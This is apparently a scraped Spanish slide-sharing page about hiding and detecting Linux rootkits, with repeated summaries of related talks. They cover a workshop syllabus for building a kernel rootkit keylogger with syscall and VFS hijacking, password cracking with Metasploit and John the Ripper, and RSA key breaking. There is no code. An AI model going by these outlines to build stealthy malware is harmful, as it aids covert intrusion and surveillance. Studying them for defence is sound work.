El documento describe diferentes métodos para ocultar y encontrar rootkits en Linux. Explica cómo un atacante puede ocultar procesos y archivos modificando las estructuras del kernel como task_struct y la tabla de syscalls. También cubre técnicas de detección forense como analizar la memoria del kernel y buscar anomalías en las estructuras modificadas.
Este documento habla sobre la construcción de rootkits básicos. Explica qué es un rootkit, los tipos comunes, y funciones como esconder procesos y archivos. Luego cubre consideraciones para desarrollo en kernel vs espacio de usuario, y ejemplos como módulos "Hello World" y manejo de parámetros. Por último, aborda temas avanzados como trabajar con la estructura de tareas, esconder el módulo cargado, y técnicas de hijacking como la tabla de syscalls y VFS.
En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. Entenderá y desarrollara técnicas para ocultarse y métodos anti-forenses.
Objetivo Principal:
Aprender las técnicas de desarrollo de Rootkits
Objetivos Secundarios:
Conocer las características del Kernel.
Aprender a generar módulos de Kernel
Conociendo algunas téncias (VFS Hijacking, Syscall Hijacking, StructTask Hijack, Infecting LKM’s)
Temario
Introducción a los Rootkits
Introducción a los Módulos de Kernel
Consideraciones de Programación
Parámetros de Módulos
Estructuras del Kernel
Hijacking
Prácticas
El módulo “Hello World”
Manejando Parámetros en el módulo.
Trabajando con la task_struct
Escondiendo módulos
Hijacking de /proc
Hijacking de syscall
Creando de un keylogger
Requisitos:
Conocimientos medios en C
Manejo básico/medio de linux
Una PC/Laptop con VirtualBox (Se entregará a cada participante una imágen con Debian 64Bits para que comiencen a desarrollar).
Este documento describe dos técnicas para hackear Windows Vista:
1) Blue Pill permite ejecutar código malicioso de forma indetectable virtualizando el sistema operativo.
2) Red Pill inserta código arbitrario en el núcleo de Windows Vista sin firmas digitales. Ambas técnicas pueden combinarse para lograr un mayor nivel de inseguridad.
Jaime Sánchez - From kernel space to user heaven [Rooted CON 2013]RootedCON
El objetivo de la ponencia es explicar las ventajas que nos va brinda la posibilidad de encolar el tráfico TCP/IP desde el espacio de kernel hacia el espacio de usuario. Esta teçnica permite gran cantidad de aplicaciones prácticas, ofensivas y defensivas, como modificar tráfico entrante/saliente en tiempo real, crear una capa de protección contra 0days hasta la publicación del parche correspondiente, detectar tráfico no autorizado como conexiones por dns tunneling etc.
Finalmente se explicará más en profundidad las diversas técnicas de detección de sistema operativo, tanto activas como pasivas, así como pruebas de concepto contra herramientas y dispositivos de seguridad conocidos, alterando los resultados a nuestra voluntad en entornos defensivos, o contra dispositivos de detección en entornos más ofensivos.
DotDotPwn is an intelligent fuzzer for discovering directory traversal vulnerabilities. It generates fuzz patterns according to the detected operating system and encodes slashes for correct semantics. It has modules for HTTP, FTP, TFTP and a PAYLOAD module. It is open source and has found vulnerabilities in over 100 software programs. The latest version is included in the Black Hat USA 2011 conference CD.
Rompiendo llaves RSA explícitamente con OpenSSL [GuadalajaraCON 2012]Websec México, S.C.
Todo el mundo habla de lo vulnerable que es RSA y de la importancia de los números primos envueltos en las llaves, muchos saben que la seguridad radica en la dificultad de factorizar, hace poco en twitter a muchos les interesó el cómo se hace, ahora lo mostrasre en GuadalajaraCON para que lo hagan ustedes.
Hablaremos de cómo funciona RSA y romperemos una llave al azar en tiempo real generada con OpenSSL, reconstruiremos la llave privada dada la pública y analizaremos la matemática detrás de este problema.
Vamos a romper una llave RSA de 256 bits la cual no es tan grande pero tampoco es tristemente pequeña en menos de 5 minutos. Una razón mas para investigar más con otro tipo de esquemas de logaritmo discreto como los que mostraré en mi otra conferencia y de los cuales me la paso dando charlas sobre Jacobianas con curvas algebraicas u otras variedades abelianas.
GUADALAJARACON 2012
http://www.guadalajaracon.org
Guadalajara, Jalisco, México - 20 y 21 de abril del 2012
Se expondrá una nueva estructura algebraica que cumple los requerimientos necesarios para ser criptográficamente segura en términos de logaritmos discretos en grupos abelianos. Más rápida, de tal manera que los ataques actuales no sean efectivos sobre esta plataforma algebraica.
En seguridad una analogía sería que una llave RSA de 1024 bits proveería la misma seguridad que una llave de 80 bits usando el grupo de Picard de orden 0 de un campo de funciones de una curva algebraica.
Se abordará la teoría necesaria, la construcción del endomorfismo y se liberará una prueba de concepto que calcula la adición en el grupo de Picard con un ejemplo hiperelíptico. Esta manera de calcular la adición sobre esta estructura fue publicada en un artículo para la sociedad matemática mexicana y en aprobación para LNCS-Springer.
El punto es usar Diffie-Hellman para intercambio de llaves pero no sobre el grupo de los enteros módulo p como es lo usual, sino en el grupo de Picard de orden 0 de una curva algebraica en general.
GUADALAJARACON 2012
http://www.guadalajaracon.org
Guadalajara, Jalisco, México - 20 y 21 de abril del 2012
Resolveremos uno de los problemas más comunes para pentesters; como realizar escaneos de Nmap distribuidos para evitar limitantes como el ancho de banda y falta de tiempo al escanear una lista grande de objetivos.
Las posibilidades y ventajas serán resaltadas mediante casos de uso reales donde se revelarán datos interesantes recopilados de millones de IPs.
Además se liberará una edición especial de la herramienta Dnmap que corrige y agrega funcionalidad a la última versión disponible.
GUADALAJARACON 2012
http://www.guadalajaracon.org
Guadalajara, Jalisco, México - 20 y 21 de abril del 2012
Este documento habla sobre la construcción de rootkits básicos. Explica qué es un rootkit, los tipos comunes, y funciones como esconder procesos y archivos. Luego cubre consideraciones para desarrollo en kernel vs espacio de usuario, y ejemplos como módulos "Hello World" y manejo de parámetros. Por último, aborda temas avanzados como trabajar con la estructura de tareas, esconder el módulo cargado, y técnicas de hijacking como la tabla de syscalls y VFS.
En este taller práctico aprenderemos a desarrollar módulos de Kernel que funcionen como rootkits. Al final del taller el participante podrá mostrar un pequeño rootkit que funcione como keylogger. Entenderá y desarrollara técnicas para ocultarse y métodos anti-forenses.
Objetivo Principal:
Aprender las técnicas de desarrollo de Rootkits
Objetivos Secundarios:
Conocer las características del Kernel.
Aprender a generar módulos de Kernel
Conociendo algunas téncias (VFS Hijacking, Syscall Hijacking, StructTask Hijack, Infecting LKM’s)
Temario
Introducción a los Rootkits
Introducción a los Módulos de Kernel
Consideraciones de Programación
Parámetros de Módulos
Estructuras del Kernel
Hijacking
Prácticas
El módulo “Hello World”
Manejando Parámetros en el módulo.
Trabajando con la task_struct
Escondiendo módulos
Hijacking de /proc
Hijacking de syscall
Creando de un keylogger
Requisitos:
Conocimientos medios en C
Manejo básico/medio de linux
Una PC/Laptop con VirtualBox (Se entregará a cada participante una imágen con Debian 64Bits para que comiencen a desarrollar).
Este documento describe dos técnicas para hackear Windows Vista:
1) Blue Pill permite ejecutar código malicioso de forma indetectable virtualizando el sistema operativo.
2) Red Pill inserta código arbitrario en el núcleo de Windows Vista sin firmas digitales. Ambas técnicas pueden combinarse para lograr un mayor nivel de inseguridad.
Jaime Sánchez - From kernel space to user heaven [Rooted CON 2013]RootedCON
El objetivo de la ponencia es explicar las ventajas que nos va brinda la posibilidad de encolar el tráfico TCP/IP desde el espacio de kernel hacia el espacio de usuario. Esta teçnica permite gran cantidad de aplicaciones prácticas, ofensivas y defensivas, como modificar tráfico entrante/saliente en tiempo real, crear una capa de protección contra 0days hasta la publicación del parche correspondiente, detectar tráfico no autorizado como conexiones por dns tunneling etc.
Finalmente se explicará más en profundidad las diversas técnicas de detección de sistema operativo, tanto activas como pasivas, así como pruebas de concepto contra herramientas y dispositivos de seguridad conocidos, alterando los resultados a nuestra voluntad en entornos defensivos, o contra dispositivos de detección en entornos más ofensivos.
DotDotPwn is an intelligent fuzzer for discovering directory traversal vulnerabilities. It generates fuzz patterns according to the detected operating system and encodes slashes for correct semantics. It has modules for HTTP, FTP, TFTP and a PAYLOAD module. It is open source and has found vulnerabilities in over 100 software programs. The latest version is included in the Black Hat USA 2011 conference CD.
Rompiendo llaves RSA explícitamente con OpenSSL [GuadalajaraCON 2012]Websec México, S.C.
Todo el mundo habla de lo vulnerable que es RSA y de la importancia de los números primos envueltos en las llaves, muchos saben que la seguridad radica en la dificultad de factorizar, hace poco en twitter a muchos les interesó el cómo se hace, ahora lo mostrasre en GuadalajaraCON para que lo hagan ustedes.
Hablaremos de cómo funciona RSA y romperemos una llave al azar en tiempo real generada con OpenSSL, reconstruiremos la llave privada dada la pública y analizaremos la matemática detrás de este problema.
Vamos a romper una llave RSA de 256 bits la cual no es tan grande pero tampoco es tristemente pequeña en menos de 5 minutos. Una razón mas para investigar más con otro tipo de esquemas de logaritmo discreto como los que mostraré en mi otra conferencia y de los cuales me la paso dando charlas sobre Jacobianas con curvas algebraicas u otras variedades abelianas.
GUADALAJARACON 2012
http://www.guadalajaracon.org
Guadalajara, Jalisco, México - 20 y 21 de abril del 2012
Se expondrá una nueva estructura algebraica que cumple los requerimientos necesarios para ser criptográficamente segura en términos de logaritmos discretos en grupos abelianos. Más rápida, de tal manera que los ataques actuales no sean efectivos sobre esta plataforma algebraica.
En seguridad una analogía sería que una llave RSA de 1024 bits proveería la misma seguridad que una llave de 80 bits usando el grupo de Picard de orden 0 de un campo de funciones de una curva algebraica.
Se abordará la teoría necesaria, la construcción del endomorfismo y se liberará una prueba de concepto que calcula la adición en el grupo de Picard con un ejemplo hiperelíptico. Esta manera de calcular la adición sobre esta estructura fue publicada en un artículo para la sociedad matemática mexicana y en aprobación para LNCS-Springer.
El punto es usar Diffie-Hellman para intercambio de llaves pero no sobre el grupo de los enteros módulo p como es lo usual, sino en el grupo de Picard de orden 0 de una curva algebraica en general.
GUADALAJARACON 2012
http://www.guadalajaracon.org
Guadalajara, Jalisco, México - 20 y 21 de abril del 2012
Resolveremos uno de los problemas más comunes para pentesters; como realizar escaneos de Nmap distribuidos para evitar limitantes como el ancho de banda y falta de tiempo al escanear una lista grande de objetivos.
Las posibilidades y ventajas serán resaltadas mediante casos de uso reales donde se revelarán datos interesantes recopilados de millones de IPs.
Además se liberará una edición especial de la herramienta Dnmap que corrige y agrega funcionalidad a la última versión disponible.
GUADALAJARACON 2012
http://www.guadalajaracon.org
Guadalajara, Jalisco, México - 20 y 21 de abril del 2012
Un rootkit es un conjunto de herramientas utilizadas por intrusos para ocultar su presencia en un sistema comprometido. Permiten esconder procesos, archivos y mantener el acceso al sistema de forma encubierta. Existen rootkits para varios sistemas operativos como Linux, Windows y Solaris. Su objetivo principal es ocultar programas y procesos maliciosos para que el intruso pueda controlar el sistema de forma remota sin ser detectado.
Unidad 9 - Instalación y configuración Linuxvverdu
Este documento presenta una introducción a la instalación y configuración de sistemas GNU/Linux. Explica las distribuciones y licencias de software más comunes, el proceso de instalación, la estructura de directorios, el uso de la terminal y comandos básicos, y cómo instalar y quitar aplicaciones. Además, introduce la herramienta Webmin para administrar el sistema a través de una interfaz web.
Este documento proporciona una introducción a Linux/GNU, incluyendo una descripción de sus componentes principales como el kernel Linux, el software GNU y las distribuciones. También describe conceptos clave como particiones, RAID, LVM, sistemas de archivos y comandos básicos de usuario y administración.
Este documento describe varios conceptos clave relacionados con los sistemas operativos, incluyendo procesos, archivos, shell, administración de tiempo, administración de procesos, protección, señales, administración de archivos e interfaces gráficas. También resume el sistema operativo Minix y describe su estructura de cuatro capas y el modelo cliente-servidor.
La arquitectura de memoria virtual de Linux y el uso de anillos de privilegio dificultan que un virus se propague automáticamente entre procesos. Para que un virus se instale en Linux, tendría que modificar archivos ejecutables de forma no automática, requiriendo intervención del usuario o acceso de root. Ningún virus reportado hasta ahora ha logrado propagarse de forma autónoma en Linux debido a las protecciones del sistema operativo.
Actividad No. 2.4- Ataque contra contraseñas de sistemas LinuxFrancisco Medina
Este documento describe cómo realizar un ataque contra contraseñas en sistemas GNU/Linux utilizando las herramientas Kali Linux, Metasploit Framework y John the Ripper. Se explica que primero se obtendrá el archivo /etc/shadow del sistema Linux objetivo usando Metasploit, y luego se usarán las capacidades de fuerza bruta de John the Ripper para descifrar las contraseñas almacenadas en ese archivo. El objetivo es obtener acceso no autorizado al sistema a través de la recuperación de contraseñas.
Este documento presenta un temario sobre seguridad en sistemas operativos. Incluye una introducción al sistema operativo GNU/Linux, con una breve descripción de procesos, formato de archivos ELF, permisos y privilegios, y memoria virtual. También cubre ataques a archivos ejecutables, desbordamientos de pila y enteros, y seguridad física. El autor es Jacobo Avariento Gimeno.
Este documento discute rootkits y spyware. Explica que los rootkits son herramientas que ocultan procesos y archivos maliciosos para mantener acceso al sistema, mientras que el spyware recopila información del usuario sin su consentimiento. Proporciona ejemplos de cada uno y recomienda mantener software antivirus actualizado y evitar descargas de fuentes desconocidas para prevenir infecciones.
Este documento describe los conceptos clave de los sistemas operativos, incluyendo procesos, archivos, shell, administración de tiempo y memoria, protección, llamadas al sistema, y minix, un sistema operativo de código abierto. También explica el modelo cliente-servidor y cómo funciona a través de la comunicación entre clientes y servidores gestionada por el núcleo.
Este documento describe los conceptos clave de los sistemas operativos, incluyendo procesos, archivos, shell, administración de tiempo y memoria, protección, llamadas al sistema, y minix, un sistema operativo de código abierto. También explica el modelo cliente-servidor y cómo funciona a través de la comunicación entre clientes y servidores gestionada por el núcleo.
Este documento presenta los principios de seguridad en Linux. Cubre temas como sistemas de archivos, control de acceso de red, autenticación, cortafuegos, detección de intrusos y SELinux. Explica conceptos como permisos de archivos, cifrado, bitácoras de sistema y el demonio inetd para controlar el acceso a servicios de red.
El documento describe los conceptos básicos de un sistema operativo, incluyendo procesos, archivos y shell. Los procesos son programas en ejecución gestionados por el sistema operativo. Los archivos son conjuntos de bits almacenados en un dispositivo. La shell interpreta las órdenes del usuario y las convierte en llamadas al sistema.
Este documento proporciona una guía para realizar varias tareas relacionadas con computadores, incluyendo elaborar fichas técnicas y hojas de vida de equipos, registrarse en sitios de soporte técnico, explicar la función y importancia de los controladores de dispositivos, resumir conceptos básicos de Linux, e investigar tecnologías de almacenamiento y procesadores. La guía también incluye instrucciones para configurar discos duros y unidades ópticas en una placa base con conectores IDE.
Este documento trata sobre los fundamentos de los sistemas operativos. Explica conceptos básicos como procesos, llamadas al sistema, usuarios y archivos. También describe la organización interna de un ordenador, los modelos de diseño de sistemas operativos y ejemplos de su organización.
El documento describe el diseño por capas de un sistema operativo. Explica que el diseño por capas divide un sistema en interfaces claramente definidas para simplificar la complejidad. Las ventajas del diseño por capas incluyen que las capas pueden evolucionar independientemente, permitir implementaciones alternativas, y facilitar el desarrollo y pruebas del software. Identifica las capas clave de un sistema operativo como hardware, núcleo, sistema de archivos, shell e interpretador de comandos, y aplicaciones.
Este documento describe los conceptos de clúster y virtualización. Explica que un clúster consiste en un conjunto de computadoras interconectadas que funcionan como un solo sistema para procesamiento paralelo. También describe las ventajas de la virtualización, que permite ejecutar múltiples sistemas operativos en una sola máquina física mediante la abstracción de recursos por software. Finalmente, proporciona ejemplos de clústeres implementados exitosamente alrededor del mundo.
El documento describe el kernel o núcleo de un sistema operativo. Explica que el kernel es el software fundamental que gestiona los recursos y la comunicación entre hardware y software, asegurando un acceso seguro a los recursos. También describe los diferentes tipos de kernels, incluyendo monolíticos, micronúcleos, híbridos y exonúcleos.
El documento describe el Sistema de Archivos de Red NFS. NFS permite que sistemas conectados a una red accedan archivos remotos como si fueran locales. Consiste en un servidor y uno o más clientes. Ofrece primitivas como abrir, leer y escribir archivos de forma remota. Existen versiones NFSv2, NFSv3 y NFSv4 con diferentes características y compatibilidad. En sistemas UNIX, demonios como lockd y statd implementan servicios de bloqueo de archivos y detección de fallos de servidores N
Este documento describe los componentes principales y la estructura de un sistema operativo, incluyendo la gestión de procesos, memoria, entrada/salida, archivos, protección, redes e interfaces con los servicios del sistema operativo como las llamadas al sistema y los programas del sistema. Explica diferentes modelos de diseño de sistemas operativos como el diseño monolítico, por capas, máquinas virtuales, cliente-servidor y micronúcleos.
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...Websec México, S.C.
Este documento describe IoTGoat, una herramienta desarrollada por OWASP para enseñar a los desarrolladores a crear productos IoT seguros. IoTGoat contiene vulnerabilidades comunes encontradas en dispositivos IoT que pueden ser explotadas para que los desarrolladores aprendan sobre seguridad. El objetivo final es mejorar la seguridad de los productos IoT.
Más contenido relacionado
Similar a Hide and Find Rootkits in Linux [GuadalajaraCON 2012]
Un rootkit es un conjunto de herramientas utilizadas por intrusos para ocultar su presencia en un sistema comprometido. Permiten esconder procesos, archivos y mantener el acceso al sistema de forma encubierta. Existen rootkits para varios sistemas operativos como Linux, Windows y Solaris. Su objetivo principal es ocultar programas y procesos maliciosos para que el intruso pueda controlar el sistema de forma remota sin ser detectado.
Unidad 9 - Instalación y configuración Linuxvverdu
Este documento presenta una introducción a la instalación y configuración de sistemas GNU/Linux. Explica las distribuciones y licencias de software más comunes, el proceso de instalación, la estructura de directorios, el uso de la terminal y comandos básicos, y cómo instalar y quitar aplicaciones. Además, introduce la herramienta Webmin para administrar el sistema a través de una interfaz web.
Este documento proporciona una introducción a Linux/GNU, incluyendo una descripción de sus componentes principales como el kernel Linux, el software GNU y las distribuciones. También describe conceptos clave como particiones, RAID, LVM, sistemas de archivos y comandos básicos de usuario y administración.
Este documento describe varios conceptos clave relacionados con los sistemas operativos, incluyendo procesos, archivos, shell, administración de tiempo, administración de procesos, protección, señales, administración de archivos e interfaces gráficas. También resume el sistema operativo Minix y describe su estructura de cuatro capas y el modelo cliente-servidor.
La arquitectura de memoria virtual de Linux y el uso de anillos de privilegio dificultan que un virus se propague automáticamente entre procesos. Para que un virus se instale en Linux, tendría que modificar archivos ejecutables de forma no automática, requiriendo intervención del usuario o acceso de root. Ningún virus reportado hasta ahora ha logrado propagarse de forma autónoma en Linux debido a las protecciones del sistema operativo.
Actividad No. 2.4- Ataque contra contraseñas de sistemas LinuxFrancisco Medina
Este documento describe cómo realizar un ataque contra contraseñas en sistemas GNU/Linux utilizando las herramientas Kali Linux, Metasploit Framework y John the Ripper. Se explica que primero se obtendrá el archivo /etc/shadow del sistema Linux objetivo usando Metasploit, y luego se usarán las capacidades de fuerza bruta de John the Ripper para descifrar las contraseñas almacenadas en ese archivo. El objetivo es obtener acceso no autorizado al sistema a través de la recuperación de contraseñas.
Este documento presenta un temario sobre seguridad en sistemas operativos. Incluye una introducción al sistema operativo GNU/Linux, con una breve descripción de procesos, formato de archivos ELF, permisos y privilegios, y memoria virtual. También cubre ataques a archivos ejecutables, desbordamientos de pila y enteros, y seguridad física. El autor es Jacobo Avariento Gimeno.
Este documento discute rootkits y spyware. Explica que los rootkits son herramientas que ocultan procesos y archivos maliciosos para mantener acceso al sistema, mientras que el spyware recopila información del usuario sin su consentimiento. Proporciona ejemplos de cada uno y recomienda mantener software antivirus actualizado y evitar descargas de fuentes desconocidas para prevenir infecciones.
Este documento describe los conceptos clave de los sistemas operativos, incluyendo procesos, archivos, shell, administración de tiempo y memoria, protección, llamadas al sistema, y minix, un sistema operativo de código abierto. También explica el modelo cliente-servidor y cómo funciona a través de la comunicación entre clientes y servidores gestionada por el núcleo.
Este documento describe los conceptos clave de los sistemas operativos, incluyendo procesos, archivos, shell, administración de tiempo y memoria, protección, llamadas al sistema, y minix, un sistema operativo de código abierto. También explica el modelo cliente-servidor y cómo funciona a través de la comunicación entre clientes y servidores gestionada por el núcleo.
Este documento presenta los principios de seguridad en Linux. Cubre temas como sistemas de archivos, control de acceso de red, autenticación, cortafuegos, detección de intrusos y SELinux. Explica conceptos como permisos de archivos, cifrado, bitácoras de sistema y el demonio inetd para controlar el acceso a servicios de red.
El documento describe los conceptos básicos de un sistema operativo, incluyendo procesos, archivos y shell. Los procesos son programas en ejecución gestionados por el sistema operativo. Los archivos son conjuntos de bits almacenados en un dispositivo. La shell interpreta las órdenes del usuario y las convierte en llamadas al sistema.
Este documento proporciona una guía para realizar varias tareas relacionadas con computadores, incluyendo elaborar fichas técnicas y hojas de vida de equipos, registrarse en sitios de soporte técnico, explicar la función y importancia de los controladores de dispositivos, resumir conceptos básicos de Linux, e investigar tecnologías de almacenamiento y procesadores. La guía también incluye instrucciones para configurar discos duros y unidades ópticas en una placa base con conectores IDE.
Este documento trata sobre los fundamentos de los sistemas operativos. Explica conceptos básicos como procesos, llamadas al sistema, usuarios y archivos. También describe la organización interna de un ordenador, los modelos de diseño de sistemas operativos y ejemplos de su organización.
El documento describe el diseño por capas de un sistema operativo. Explica que el diseño por capas divide un sistema en interfaces claramente definidas para simplificar la complejidad. Las ventajas del diseño por capas incluyen que las capas pueden evolucionar independientemente, permitir implementaciones alternativas, y facilitar el desarrollo y pruebas del software. Identifica las capas clave de un sistema operativo como hardware, núcleo, sistema de archivos, shell e interpretador de comandos, y aplicaciones.
Este documento describe los conceptos de clúster y virtualización. Explica que un clúster consiste en un conjunto de computadoras interconectadas que funcionan como un solo sistema para procesamiento paralelo. También describe las ventajas de la virtualización, que permite ejecutar múltiples sistemas operativos en una sola máquina física mediante la abstracción de recursos por software. Finalmente, proporciona ejemplos de clústeres implementados exitosamente alrededor del mundo.
El documento describe el kernel o núcleo de un sistema operativo. Explica que el kernel es el software fundamental que gestiona los recursos y la comunicación entre hardware y software, asegurando un acceso seguro a los recursos. También describe los diferentes tipos de kernels, incluyendo monolíticos, micronúcleos, híbridos y exonúcleos.
El documento describe el Sistema de Archivos de Red NFS. NFS permite que sistemas conectados a una red accedan archivos remotos como si fueran locales. Consiste en un servidor y uno o más clientes. Ofrece primitivas como abrir, leer y escribir archivos de forma remota. Existen versiones NFSv2, NFSv3 y NFSv4 con diferentes características y compatibilidad. En sistemas UNIX, demonios como lockd y statd implementan servicios de bloqueo de archivos y detección de fallos de servidores N
Este documento describe los componentes principales y la estructura de un sistema operativo, incluyendo la gestión de procesos, memoria, entrada/salida, archivos, protección, redes e interfaces con los servicios del sistema operativo como las llamadas al sistema y los programas del sistema. Explica diferentes modelos de diseño de sistemas operativos como el diseño monolítico, por capas, máquinas virtuales, cliente-servidor y micronúcleos.
Similar a Hide and Find Rootkits in Linux [GuadalajaraCON 2012] (20)
OWASP IoTGoat - Enseñando a desarrolladores IoT a crear productos seguros - P...Websec México, S.C.
Este documento describe IoTGoat, una herramienta desarrollada por OWASP para enseñar a los desarrolladores a crear productos IoT seguros. IoTGoat contiene vulnerabilidades comunes encontradas en dispositivos IoT que pueden ser explotadas para que los desarrolladores aprendan sobre seguridad. El objetivo final es mejorar la seguridad de los productos IoT.
Estadisticas de redes 802.11 en Mexico (2013) por Paulino CalderonWebsec México, S.C.
Investigación sobre el estado de fabricantes y de mecanismos de seguridad utilizados en redes inalámbricas 802.11 en México por Paulino Calderon. (2013)
Plática sobre utilizar diferentes técnicas para detener a scanners de seguridad y a la gente que los usa sin pensarlo.
Impartida en CISI 2018, DragonJARCON 2018, 8.8 Bolivia, 8.8 Perú y 8.8 México.
Grabación en video:
https://www.youtube.com/watch?v=NtQpzjgitao&t=1s
Este documento describe nuevos vectores de ataque que permiten ejecutar código malicioso en Mac mediante macros de Office, a pesar de las protecciones del sandbox de Office 2016. Explica cómo abusar de funciones como GrantAccessToMultipleFiles() y osascript para solicitar permisos de acceso a archivos o engañar a usuarios a revelar credenciales. También presenta Macphish, una herramienta que genera macros maliciosas para pruebas de ingeniería social.
Explotación de vulnerabilidades recientes de Windows - Agosto 2017Websec México, S.C.
Información sobre vulnerabilidades recientes y cómo explotarlas. EternalBlue en Windows 7, EternalRomance en Windows 2016, LNK CVE-2017-8464 y SMBLoris en Windows 10. Presentación para alumnos de la UANL Universidad Autónoma de Nuevo León impartida durante el Congreso Internacional de Seguridad de la Información CISI en agosto del 2017.
Escribiendo firmas para el sistema de detección de versiones de NmapWebsec México, S.C.
En esta presentación aprendemos como funciona el sistema de detección de versiones de Nmap y como podemos escribir nuestras propias firmas para reconocer nuevos servicios en nuestra red.
El porqué está fallando tu programa de seguridad informática por Paulino Cald...Websec México, S.C.
Plática sobre las razones por las cuales fallan los programas de seguridad informática en las empresas actualmente. Experiencias personales que me han ocurrido a lo largo de mi carrera.
Esta charla trata sobre las vulnerabilidades más peligrosas que afectan a redes caseras y de trabajo actualmente. Se demostrarán técnicas reales que funcionan incluso en ambientes corporativos protegidos y que pueden ser utilizadas para comprometer redes enteras en menos de un día.
Este documento ofrece consejos prácticos para crear aplicaciones seguras. Explica que los errores de seguridad pueden ser muy costosos y que factores como la validación de datos, el uso de criptografía, el análisis de código y las pruebas son importantes. También destaca la necesidad de procesos de seguridad integrales en todo el ciclo de vida del desarrollo de software.
Explotación práctica de señales de radio por Luis ColungaWebsec México, S.C.
Este documento presenta una introducción a la radio definida por software (SDR), incluyendo diferentes plataformas SDR como RTL-SDR, HackRF y USRP, y demuestras varias aplicaciones como un radar de $20 USD, monitoreo de satélites y tráfico GSM, y ataques como la retransmisión de señales ADS-B. El documento también discute desafíos como la dificultad de reutilizar código entre plataformas y la falta de enfoque en aplicaciones reales más allá de la investigación.
El documento presenta la biografía y experiencia de Paulino Calderón Pale. Brevemente, Calderón Pale es fundador de Websec México, ha contribuido a proyectos como Google Summer of Code y Nmap, y ha escrito libros sobre pentesting y Nmap. También ha desarrollado aplicaciones para Android y ofrece servicios de consultoría en seguridad.
Dumpeando hashes del controlador de dominio por @_hkm
Una plática rápida sobre una de las técnicas más redituables durante una prueba de penetración. Utilizando una cuenta con permisos de administrador de dominio mostraremos como dumpear todos los hashes en formato NTLM almacenados en el controlador de dominio del directorio activo.
OSINT vs cibercrimen por @nickops
Conoce técnicas y herramientas de Inteligencia de Fuentes Abiertas (OSINT) que te ayudarán a reaccionar ante delitos de fraudes y extorsiones cibernéticas. Analizaremos un caso donde la Policía Cibernética de la Ciudad de México descubrió, investigó y capturó a una banda de extorsionadores por Internet.
Fraudes y extorsión cibernética.
Técnicas y herramientas de la Policía cibernética.
Técnicas y herramientas de OSINT.
- OSINT con Apps de Mensajería Instantánea.
- OSINT con entidades privadas y de Gobierno.
- OSINT con Facebook Graph Search.
Acerca del ponente @nickops:
Ingeniero en Telemática, egresado del Instituto Politécnico Nacional (UPIITA). Laboró en el GSC Ericsson México participando en proyectos de telefonía IP, móvil y fija. Es aficionado a la Seguridad Informática y se especializa en investigaciones cibernéticas con fuentes abiertas (Open Source Intelligence). Colaboró con la Unidad de Investigación Cibernética de la Procuraduría General de Justicia del Distrito Federal (PGJDF) en la búsqueda de una banda de extorsionadores por Internet. Es miembro de la Comunidad G3eckArmy y cuenta con publicaciones en blogs sobre Tecnología, Seguridad Informática y Protección de Datos Personales.
Git es un software de control de versiones diseñado por Linus Torvalds para mantener versiones de código fuente de forma eficiente y confiable, especialmente para proyectos con gran número de archivos. Aunque inicialmente se concibió como un motor sobre el que construir interfaces de usuario, Git se ha convertido en un sistema de control de versiones completo. El núcleo Linux es uno de los proyectos que usa Git. El documento procede a describir brevemente técnicas de deface como inyecciones XSS persistentes y modificación de archivos, así como posibles motivaciones
Seguridad de Bitcoin por Luis Daniel Beltrán
- Descripción breve de como funciona el protocolo y la cadena de bloques.
- Mitos sobre el protocolo.
- Puntos fuertes del protocolo.
- Puntos débiles del protocolo.
- Descripción de como se han dado los robos mas representativos de Bitcoins.
- Explicación del reto que tenemos como profesionales en seguridad con este nuevo paradigma en el manejo de activos digitales.
Acerca del ponente Luis Daniel Beltrán
Desde muy temprana edad y de manera autodidacta se introdujo en el mundo de la tecnología llevándolo con los años a ser uno de los primeros usuarios de Internet en México. En la actualidad se especializa en montar y administrar infraestructura de seguridad para aplicaciones y sitios web de alto tráfico. Desde el año 2012 dedica parte de su tiempo libre al estudio de las criptomonedas.
A veces la diferencia entre poder acceder a un sistema remoto con éxito o fallar puede ser el conocimiento de una herramienta, una línea de comando o incluso una técnica de evasión de AV/Firewall. Esta plática brindará consejos y trucos para poder hackear "like a Boss", que le dará una ventaja durante la auditoría de un sistema
Ponente: Roberto Salgado. Director técnico y co-fundador de Websec México. Roberto ha participado y contribuido en proyectos importantes como ModSecurity, PHPIDS, sqlmap y el libro “Web Application Obfuscation“. Creó la base de conocimientos de inyección SQL, una de las referencias más completas disponibles en la web y Panoptic, un buscador de rutas de archivos comunes con vulnerabilidades tipo LFI. También desarrollo el método más rápido para extraer información de bases de datos vulnerables a inyección a ciegas.
CPMX5 - Las nuevas generaciones de redes por Luis ColungaWebsec México, S.C.
¿Te frustras cuando la comunicación inalámbrica falla cuando más la necesitas? ¿Sabías que es posible recibir señales de aviones, barcos o satélites de una manera fácil y económica? Software Defined Radio nos da herramientas para solucionar los problemas en las redes inalámbricas actuales y realizar cosas que antes eran imposibles.
Ponente: Luis Colunga. Investigador de Seguridad Informática con Websec. Desde los 11 años ha estado involucrado en las telecomunicaciones. Una de sus pasiones es propiciar la generación de soluciones a través de las telecomunicaciones, le preocupa que estos sistemas sean "seguros"
Video: https://www.youtube.com/watch?v=yuvLT0ALAoE
KAWARU CONSULTING presenta el projecte amb l'objectiu de permetre als ciutadans realitzar tràmits administratius de manera telemàtica, des de qualsevol lloc i dispositiu, amb seguretat jurídica. Aquesta plataforma redueix els desplaçaments físics i el temps invertit en tràmits, ja que es pot fer tot en línia. A més, proporciona evidències de la correcta realització dels tràmits, garantint-ne la validesa davant d'un jutge si cal. Inicialment concebuda per al Ministeri de Justícia, la plataforma s'ha expandit per adaptar-se a diverses organitzacions i països, oferint una solució flexible i fàcil de desplegar.
para programadores y desarrolladores de inteligencia artificial y machine learning, como se automatiza una cadena de valor o cadena de valor gracias a la teoría por Manuel Diaz @manuelmakemoney
Infografia TCP/IP (Transmission Control Protocol/Internet Protocol)codesiret
Los protocolos son conjuntos de
normas para formatos de mensaje y
procedimientos que permiten a las
máquinas y los programas de aplicación
intercambiar información.
Todo sobre la tarjeta de video (Bienvenidos a mi blog personal)AbrahamCastillo42
Power point, diseñado por estudiantes de ciclo 1 arquitectura de plataformas, esta con la finalidad de dar a conocer el componente hardware llamado tarjeta de video..
Catalogo general tarifas 2024 Vaillant. Amado Salvador Distribuidor Oficial e...AMADO SALVADOR
